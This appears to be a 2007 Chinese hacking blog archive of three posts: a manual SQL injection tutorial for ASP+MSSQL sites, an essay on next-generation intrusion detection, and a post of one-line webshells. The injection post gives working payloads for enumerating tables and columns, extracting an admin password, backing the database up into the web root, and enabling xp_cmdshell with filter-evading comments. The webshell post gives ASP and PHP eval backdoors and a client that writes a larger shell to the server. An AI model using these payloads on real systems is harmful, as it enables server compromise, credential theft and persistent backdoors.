Posts Tagged ‘open’

手工注入ASP+MSSQL网站

Posted in 搬家之前 on 7月 28th, 2007 by 飘(piao2010) – Be the first to comment

首先是对通常注射参数类型的一些介绍:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:
select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ”=’ ,即是生成语句:
select * from 表名 where 字段=’连续剧’ and [查询条件] and ”=”
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
select * from 表名 where 字段like ‘%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25′=’,即是生成语句:
select * from 表名 where字段like ‘%’ and [查询条件] and ‘%’='%’

以下以数字型为例.其它类型请自行更改;
判断数据库是不是MSSQL;
①http://target/xx.asp?id=1 and (select count(*) from sysobjects)>0
②http://target/xx.asp?id=1 and (select count(*) from msysobjects)>0 
①对②错一般是MSSQL.两个都错则是ACCESS;

http://target/xx.asp?id=1 and (select @@version)<0  
返回得到MSSQL的版本信息;

③http://target/xx.asp?id=1 and db_name()>0
db_name()是另一个系统变量,返回的是连接的数据库名。

http://target/xx.asp?id=1 and user>0
当前连接的用户名;
sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。
④http://target/xx.asp?id=1;backup database 数据库名 to disk=’c:\\inetpub\\wwwroot\\*.db’;–
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如[url=file://\\\\ipxx\\*.db]\\\\ipxx\\*.db[/url]),但成功率不高。

http://target/xx.asp?id=1 and (select top 1 name from sysobjects where xtype=’U’ and status>0)>0  
  sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。

或者采用 And (Select Top 1 cast(name as varchar(8000)) from(Select Top N id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0,这段语句可以爆出数据库中第N个表的表名,可以从1,2,3一直爆,爆到第N个表和N+1个表一样的时候,就爆完了.

 

http://target/xx.asp?id=1 and (select top 1 col_name(object_id(’表名’),1) from sysobjects)>0 

从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4…就可以逐个获取所猜解表里面的字段名。

补充一下:
暴出int型字段变量的解决:http://target/xx.asp?id=1 and (selest 字段名 from 表名 where 具体条件 and convert (int,字段名变量名bc’)>2)>0
另外/**/跟空格的作用一样,有的时候可以过一些过滤;对关键字进行大小写转换有时也可以绕过一些过滤.

mssql2005默认没有开xp_cmdshell的,openrowset也不能用
如果是sa权限,可以这样来开启
开启openrowset

/**/sp_configure/**/’show/**/advanced/**/options’,/**/1;RECONFIGURE;–
/**/sp_configure/**/’Ad/**/Hoc/**/Distributed/**/Queries’,/**/1;RECONFIGURE;–

开启xp_cmdshell
EXEC/**/sp_configure/**/’Ad/**/Hoc/**/Distributed/**/Queries’,1;RECONFIGURE;–
EXEC/**/sp_configure/**/’show/**/advanced/**/options’,1;RECONFIGURE;EXEC/**/sp_configure/**/’xp_cmdshell’,1;RECONFIGURE;–

网上还有一种方法对数据库猜解:

/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0–

爆表语句,somedb部份是所要列的数据库
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0–

爆字段语句,爆表admin里user=’icerover’的密码段

**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user=’icerover’/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0–

本文仅供学习研究,请勿用于任何不法行为,否则后果自负!

下一代的入侵检测关键技术分析

Posted in 搬家之前 on 2月 20th, 2007 by 飘(piao2010) – Be the first to comment

入侵检测的研究可以追溯到JamesP.Anderson在1980年的工作,他首次提出了“威胁”等术语,这里所指的“威胁”与入侵的含义基本相同,将入侵尝试或威胁定义为:潜在的、有预谋的、未经授权的访问企图,致使系统不可靠或无法使用。1987年DorothyE. Denning首次给出一个入侵检测的抽象模型,并将入侵检测作为一个新的安全防御措施提出。1988年,Morris蠕虫事件加快了对入侵检测系统(IDS :Intrusion Detection System)的开发研究。

在过去的20年里,网络技术在不断发展,攻击者水平在不断提高,攻击工具与攻击手法日趋复杂多样,特别是以黑客为代表的攻击者对网络的威胁日益突出,他们正不遗余力地与所有安全产品进行着斗争。攻击技术和手段的不断发展促使IDS等网络安全产品不断更新换代,使得IDS产品从一个简单机械的产品发展成为智能化的产品。

一、目前IDS存在的缺陷

入侵检测系统作为网络安全防护的重要手段,有很多地方值得我们进一步深入研究。目前的IDS还存在很多问题,有待于我们进一步完善。

1.高误警(误报)率

误警的传统定义是将良性流量误认为恶性的。广义上讲,误警还包括对IDS用户不关心事件的告警。因此,导致IDS产品高误警率的原因是IDS检测精度过低以及用户对误警概念的拓展。

2.产品适应能力低

 传统的IDS产品在开发时没有考虑特定网络环境的需求,千篇一律。网络技术在发展,网络设备变得复杂化、多样化,这就需要入侵检测产品能动态调整,以适应不同环境的需求。

3.大型网络的管理问题

很多企业规模在不断扩大,对IDS产品的部署从单点发展到跨区域全球部署,这就将公司对产品管理的问题提上日程。首先,要确保新的产品体系结构能够支持数以百计的IDS传感器;其次,要能够处理传感器产生的告警事件;此外,还要解决攻击特征库的建立,配置以及更新问题。

4.缺少防御功能

检测,作为一种被动且功能有限的技术,缺乏主动防御功能。因此,需要在下一代IDS产品中嵌入防御功能,才能变被动为主动。

5.评价IDS产品没有统一标准

对入侵检测系统的评价目前还没有客观的标准,标准的不统一使得入侵检测系统之间不易互联。随着技术的发展和对新攻击识别的增加,入侵检测系统需要不断升级才能保证网络的安全性。

6.处理速度上的瓶颈

随着高速网络技术如ATM、千兆以太网等的相继出现,如何实现高速网络下的实时入侵检测是急需解决的问题。目前的百兆、千兆IDS产品的性能指标与实际要求还存在很大的差距。

二、下一代IDS系统采用的技术

为了降低误警率、合理部署多级传感器、有效控制跨区域的传感器,下一代入侵检测产品需要包含以下关键技术

1.智能关联

智能关联是将企业相关系统的信息(如主机特征信息)与网络IDS检测结构相融合,从而减少误警。如系统的脆弱性信息需要包括特定的操作系统(OS)以及主机上运行的服务。当IDS使用智能关联时,它可以参考目标主机上存在的、与脆弱性相关的所有告警信息。如果目标主机不存在某个攻击可以利用的漏洞,IDS将抑制告警的产生。

智能关联包括主动关联和被动关联。主动关联是通过扫描确定主机漏洞;被动关联是借助操作系统的指纹识别技术,即通过分析IP、TCP报头信息识别主机上的操作系统。下面将详细介绍指纹识别技术

(1)IDS有时会出现误报(主机系统本身并不存在某种漏洞,而IDS报告系统存在该漏洞)

造成这种现象的原因是当IDS检测系统是否受到基于某种漏洞的攻击时,没有考虑主机的脆弱性信息。以针对Windows操作系统的RPC攻击为例,当网络中存在RPC攻击时,即使该网络中只有基于Linux的机器,IDS也会产生告警,这就是一种误报现象。为了解决这个问题,需要给IDS提供一种基于主机信息的报警机制。因此新一代IDS产品利用被动指纹识别技术构造一个主机信息库,该技术通过对TCP、IP报头中相关字段进行识别来确定操作系统(OS)类型。

(2)被动指纹识别技术的工作原理

被动指纹识别技术的实质是匹配分析法。匹配双方一个是来自源主机数据流中的TCP、IP报头信息,另一个是特征数据库中的目标主机信息,通过将两者做匹配来识别源主机发送的数据流中是否含有恶意信息。通常比较的报头信息包括窗口大小(Windowsize)、数据报存活期(TTL)、DF(don’tfragment)标志以及数据报长(Totallength)。

窗口大小(wsize)指输入数据缓冲区大小,它在TCP会话的初始阶段由OS设定。多数UNIX操作系统在TCP会话期间不改变它的值,而在Windows操作系统中有可能改变。

数据报存活期指数据报在被丢弃前经过的跳数(hop);不同的TTL值代表不同的OS,TTL=64,OS=UNIX;TTL=12,OS=Windows。

DF字段通常设为默认值,而OpenBSD不对它进行设置。

数据报长是IP报头和负载(Payload)长度之和。在SYN和SYNACK数据报中,不同的数据报长代表不同的操作系统,60代表Linux、44代表Solaris、48代表Windows2000。

IDS将上述参数合理组合作为主机特征库中的特征(称为指纹)来识别不同的操作系统。如TTL=64,初步判断OS=Linux/OpenBSD;如果再给定wsize的值就可以区分是Linux还是OpenBSD。因此,(TTL,wsize)就可以作为特征库中的一个特征信息。

(3)被动指纹识别技术工作流程

具有指纹识别技术的IDS系统通过收集目标主机信息,判断主机是否易受到针对某种漏洞的攻击,从而降低误报率。它的工作流程如图1所示。

<1>指纹识别引擎检查SYN报头,提取特定标识符;

<2>从特征库中提取目标主机上的操作系统信息;

<3>更新主机信息表;

<4>传感器检测到带有恶意信息的数据报,在发出警告前先与主机信息表中的内容进行比较;

<5>传感器发现该恶意数据报是针对Windows服务器的,而目标主机是Linux服务器,所以IDS将抑制该告警的产生。

因此,当IDS检测到攻击数据包时,首先查看主机信息表,判断目标主机是否存在该攻击可利用的漏洞;如果不存在该漏洞,IDS将抑制告警的产生,但要记录关于该漏洞的告警信息作为追究法律责任的证据。这种做法能够使安全管理员专心处理由于系统漏洞产生的告警。一些IDS经销商已经把OS指纹识别的概念扩展到应用程序指纹识别,甚至到更广泛的用途上。

2.告警泛滥抑制

IDS产品使用告警泛滥抑制技术可以降低误警率。在利用漏洞的攻击势头逐渐变强之时,IDS短时间内会产生大量的告警信息;而IDS传感器却要对同一攻击重复记录,尤其是蠕虫在网络中自我繁殖的过程中,这种现象最为严重。NFR(一家网络安全公司)称这种现象为“告警饱和”。

所谓“告警泛滥”是指短时间内产生的关于同一攻击的告警。下一代IDS产品利用一些规则(规则的制定需要考虑传感器)筛选产生的告警信息来抑制告警泛滥;IDS可根据用户需求减少或抑制短时间内同一传感器针对某个流量产生的重复告警。这样,网管人员可以专注于公司网络的安全状况,不至于为泛滥的告警信息大伤脑筋。告警泛滥抑制技术是将一些规则或参数(包括警告类型、源IP、目的IP以及时间窗大小)融入到IDS传感器中,使传感器能够识别告警饱和现象并实施抑制操作。有了这种技术,传感器可以在告警前对警报进行预处理,抑制重复告警。例如,可以对传感器进行适当配置,使它忽略在30秒内产生的针对同一主机的告警信息;IDS在抑制告警的同时可以记录这些重复警告用于事后的统计分析。

3.告警融合

技术是将不同传感器产生的、具有相关性的低级别告警融合成更高级别的警告信息,这有助于解决误报和漏报问题。

当与低级别警告有关的条件或规则满足时,安全管理员在IDS上定义的元告警相关性规

则就会促使高级别警告产生。如扫描主机事件,如果单独考虑每次扫描,可能认为每次扫描都是独立的事件,而且对系统的影响可以忽略不计;但是,如果把在短时间内产生的一系列事件整合考虑,会有不同的结论。IDS在10min内检测到来自于同一IP的扫描事件,而且扫描强度在不断升级,安全管理人员可以认为是攻击前的渗透操作,应该作为高级别告警对待。这个例子告诉我们告警融合技术可以发出早期攻击警告,如果没有这种技术,需要安全管理员来判断一系列低级别告警是否是随后更高级别攻击的先兆;而通过设置元警告相关性规则,安全管理员可以把精力都集中在高级别警告的处理上。

元警告相关性规则中定义的参数包括时间窗、事件数量、事件类型IP地址、端口号、事件顺序。

4.可信任防御模型

改进的IDS中应该包含可信任防御模型的概念。事实上,2004年多数传统的IDS供应商已经逐渐地把防御功能加入到IDS产品中。与此同时,IPS(入侵防御系统)产品的使用率在增长,但是安全人士仍然为IDS产品预留了实现防御功能的空间。IDS产品供应商之所以这样做,部分原因在于他们认识到防御功能能否有效地实施关键在于检测功能的准确性和有效性。没有精确的检测就谈不上建立可信任的防御模型;所以,开发出好的内嵌防御功能的IDS产品关键在于提高检测的精确度。

下一代IDS产品中,融入可信任防御模型后,将会对第一代IPS产品遇到的问题(误报导致合法数据被阻塞、丢弃;自身原因造成的拒绝服务攻击泛滥;应用级防御)有个圆满的解决。

一句话木马

Posted in 搬家之前 on 2月 20th, 2007 by 飘(piao2010) – Be the first to comment

asp:

服务端:<%execute request(”value”)%>

客户端:<form action=服务端地址  method=post>
<textarea cols=120 rows=10 width=45>
set lP=server.createObject(”Adodb.Stream”)
lP.Open
lP.Type=2
lP.CharSet=”gb2312″
lP.writetext request(”fhod”)
lP.SaveToFile server.mappath(”webshell.asp”),2
lP.Close
set lP=nothing
response.redirect “webshell.asp”
</textarea>
<textarea cols=120 rows=10 width=45>输入大马的内容</textarea><BR><center><br>
<input type=submit value=提交>

php:<?php eval($_POST[cmd]);?>

lanker微型PHP后门客户2.0正式版